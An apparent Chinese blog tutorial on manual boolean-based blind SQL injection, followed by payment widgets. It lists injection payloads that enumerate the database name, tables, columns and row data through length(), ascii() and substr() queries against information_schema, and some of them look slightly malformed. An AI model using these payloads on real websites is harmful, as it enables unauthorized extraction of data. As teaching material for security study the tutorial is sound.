sql注入之布尔盲注(手注版)

布尔盲注

页面只回显对错尝试布尔盲注

1.寻找注入点和闭合方式。

方法有很多这里就不赘述。

2.使用方式

曝库

首先得得到库的长度。

and length(database())=3#

length()函数能获取字符串长度。database()则是返回数据库名称。

慢慢修改数字直到回显为true,这样就得到了库的长度。

然后就能曝库名了

and ascii(substr(database(),1,1)) > 90 --+

ascii()可以返回字符的ascii码。

substr(a,b,c)返回字符串从a的b开始往后截取c长度的字符,substr(database(),1,1))截取库的第一个字符。第二个 就是(database(),2,1))

然后就是一个个试了。

曝表

首先得猜测表的数量。

and (select count(table_name) from information_schema.tables where table_schema="库名") = 2 --+

然后是表的长度

and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1 --+

其余的表也是可以通过这种方式曝的。

然后是表名

and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'%23

依旧是一个个曝。这里substr是获取字符串从1开始截取1.

曝列

然后是列数了。还得从个数开始。

and(select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名')=数字--+

接着是列长

and select length(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 列数,1),1))=数字 --+

最后是列名

and ascii(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 列数,1),列名长,1))=数字 --+

曝数据

猜数据长

and length(substr((select 列名 from 表名 limit 列数,1 ),1))=数字#

猜内容

and ascii(substr((select 列名 from 表名 limit 数据个数,1,1),数据名称长度,1))=数字 #

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值